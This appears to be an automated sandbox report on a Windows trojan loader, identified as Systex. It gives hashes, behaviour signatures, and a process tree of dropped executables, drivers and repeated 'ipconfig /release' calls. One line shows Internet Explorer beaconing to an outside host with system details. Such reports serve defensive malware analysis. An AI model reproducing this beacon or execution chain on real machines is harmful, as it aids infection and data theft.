Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 14:32
General
- Target 2026-08-04_b141bbdc08ad27f8d25abea032e74540_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
- Size 389KB
- Sample260804-rwpqjacc95
- SHA256 74b2c3fc4fca1c69303746d67d56274a8c3018a6a4e8039a40a7a18d84e6984c
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 31 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-04_b141bbdc08ad27f8d25abea032e74540_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-04_b141bbdc08ad27f8d25abea032e74540_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\rpjhbzurmjecwuom.exeC:\Temp\rpjhbzurmjecwuom.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zurmkecwuo.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\zurmkecwuo.exeC:\Temp\zurmkecwuo.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zurmkecwuo.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_zurmkecwuo.exeC:\Temp\i_zurmkecwuo.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\cwuomgezwr.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\cwuomgezwr.exeC:\Temp\cwuomgezwr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_cwuomgezwr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_cwuomgezwr.exeC:\Temp\i_cwuomgezwr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\gbytrlgbyt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\gbytrlgbyt.exeC:\Temp\gbytrlgbyt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_gbytrlgbyt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_gbytrlgbyt.exeC:\Temp\i_gbytrlgbyt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bvtnlgdqoi.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\bvtnlgdqoi.exeC:\Temp\bvtnlgdqoi.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bvtnlgdqoi.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_bvtnlgdqoi.exeC:\Temp\i_bvtnlgdqoi.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\gaysqigays.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\gaysqigays.exeC:\Temp\gaysqigays.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_gaysqigays.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_gaysqigays.exeC:\Temp\i_gaysqigays.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\snifaxsqki.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\snifaxsqki.exeC:\Temp\snifaxsqki.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_snifaxsqki.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_snifaxsqki.exeC:\Temp\i_snifaxsqki.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\snkdxvpnhf.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\snkdxvpnhf.exeC:\Temp\snkdxvpnhf.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_snkdxvpnhf.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_snkdxvpnhf.exeC:\Temp\i_snkdxvpnhf.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\upmhezxrpj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\upmhezxrpj.exeC:\Temp\upmhezxrpj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_upmhezxrpj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_upmhezxrpj.exeC:\Temp\i_upmhezxrpj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pkecwuomhe.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\pkecwuomhe.exeC:\Temp\pkecwuomhe.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pkecwuomhe.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_pkecwuomhe.exeC:\Temp\i_pkecwuomhe.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ezwrpjhbzt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ezwrpjhbzt.exeC:\Temp\ezwrpjhbzt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ezwrpjhbzt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ezwrpjhbzt.exeC:\Temp\i_ezwrpjhbzt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rljeywqojg.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rljeywqojg.exeC:\Temp\rljeywqojg.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rljeywqojg.exe ups_ins3⤵
-
C:\Temp\i_rljeywqojg.exeC:\Temp\i_rljeywqojg.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\igaytqlidb.exe ups_run3⤵
-
C:\Temp\igaytqlidb.exeC:\Temp\igaytqlidb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_igaytqlidb.exe ups_ins3⤵
-
C:\Temp\i_igaytqlidb.exeC:\Temp\i_igaytqlidb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bvtnigaysq.exe ups_run3⤵
-
C:\Temp\bvtnigaysq.exeC:\Temp\bvtnigaysq.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bvtnigaysq.exe ups_ins3⤵
-
C:\Temp\i_bvtnigaysq.exeC:\Temp\i_bvtnigaysq.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\sqkidavtnl.exe ups_run3⤵
-
C:\Temp\sqkidavtnl.exeC:\Temp\sqkidavtnl.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_sqkidavtnl.exe ups_ins3⤵
-
C:\Temp\i_sqkidavtnl.exeC:\Temp\i_sqkidavtnl.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\icavsnkcau.exe ups_run3⤵
-
C:\Temp\icavsnkcau.exeC:\Temp\icavsnkcau.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_icavsnkcau.exe ups_ins3⤵
-
C:\Temp\i_icavsnkcau.exeC:\Temp\i_icavsnkcau.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ausmkfcxup.exe ups_run3⤵
-
C:\Temp\ausmkfcxup.exeC:\Temp\ausmkfcxup.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ausmkfcxup.exe ups_ins3⤵
-
C:\Temp\i_ausmkfcxup.exeC:\Temp\i_ausmkfcxup.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\urmkecwupm.exe ups_run3⤵
-
C:\Temp\urmkecwupm.exeC:\Temp\urmkecwupm.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_urmkecwupm.exe ups_ins3⤵
-
C:\Temp\i_urmkecwupm.exeC:\Temp\i_urmkecwupm.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mhezwrpjhb.exe ups_run3⤵
-
C:\Temp\mhezwrpjhb.exeC:\Temp\mhezwrpjhb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mhezwrpjhb.exe ups_ins3⤵
-
C:\Temp\i_mhezwrpjhb.exeC:\Temp\i_mhezwrpjhb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dbwtomgeyw.exe ups_run3⤵
-
C:\Temp\dbwtomgeyw.exeC:\Temp\dbwtomgeyw.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dbwtomgeyw.exe ups_ins3⤵
-
C:\Temp\i_dbwtomgeyw.exeC:\Temp\i_dbwtomgeyw.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:892 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\rpjhbzurmjecwuom.sysC:\Temp\rpjhbzurmjecwuom.sys1⤵
- Executes dropped EXE
-
C:\Temp\jhbztrljeb.sysC:\Temp\jhbztrljeb.sys1⤵
- Executes dropped EXE
-
C:\Temp\wuomgeywro.sysC:\Temp\wuomgeywro.sys1⤵
- Executes dropped EXE
-
C:\Temp\igbytrljdb.sysC:\Temp\igbytrljdb.sys1⤵
- Executes dropped EXE
-
C:\Temp\nigaysqkid.sysC:\Temp\nigaysqkid.sys1⤵
- Executes dropped EXE
-
C:\Temp\aysqkidavt.sysC:\Temp\aysqkidavt.sys1⤵
- Executes dropped EXE
-
C:\Temp\hxspkicaus.sysC:\Temp\hxspkicaus.sys1⤵
- Executes dropped EXE
-
C:\Temp\khcausmkec.sysC:\Temp\khcausmkec.sys1⤵
- Executes dropped EXE
-
C:\Temp\xupmhfzxrp.sysC:\Temp\xupmhfzxrp.sys1⤵
- Executes dropped EXE
-
C:\Temp\mjecwuomge.sysC:\Temp\mjecwuomge.sys1⤵
- Executes dropped EXE
-
C:\Temp\bwqojgbytr.sysC:\Temp\bwqojgbytr.sys1⤵
- Executes dropped EXE
-
C:\Temp\bvtolgeywq.sysC:\Temp\bvtolgeywq.sys1⤵
-
C:\Temp\igaytqljdb.sysC:\Temp\igaytqljdb.sys1⤵
-
C:\Temp\dysqkicavs.sysC:\Temp\dysqkicavs.sys1⤵
-
C:\Temp\pkicausnkf.sysC:\Temp\pkicausnkf.sys1⤵
-
C:\Temp\pkhcausmkf.sysC:\Temp\pkhcausmkf.sys1⤵
-
C:\Temp\ezxrpjhczu.sysC:\Temp\ezxrpjhczu.sys1⤵
-
C:\Temp\trmkecwuom.sysC:\Temp\trmkecwuom.sys1⤵
-
C:\Temp\ojhbztrlje.sysC:\Temp\ojhbztrlje.sys1⤵
-
C:\Temp\rmgeywqojg.sysC:\Temp\rmgeywqojg.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
aysqkidavt.sys
bvtnlgdqoi.exe
cwuomgezwr.exe
gaysqigays.exe
gbytrlgbyt.exe
hxspkicaus.sys
i_bvtnlgdqoi.exe
i_cwuomgezwr.exe
i_gaysqigays.exe
i_gbytrlgbyt.exe
i_snifaxsqki.exe
i_snkdxvpnhf.exe
i_zurmkecwuo.exe
igbytrljdb.sys
jhbztrljeb.sys
khcausmkec.sys
nigaysqkid.sys
rpjhbzurmjecwuom.exe
rpjhbzurmjecwuom.sys
snifaxsqki.exe
snkdxvpnhf.exe
upmhezxrpj.exe
wuomgeywro.sys
zurmkecwuo.exe
suggestions[1].en-US
memory/460-38-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/972-146-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1436-159-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1452-26-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1452-96-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1740-50-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1948-19-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2116-124-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2136-108-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2352-163-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2580-132-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2804-67-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2860-120-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2892-171-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3128-81-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4044-128-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4260-116-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4620-155-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4620-150-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4672-154-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4760-167-0x0000000000010000-0x00000000000AB000-memory.dmp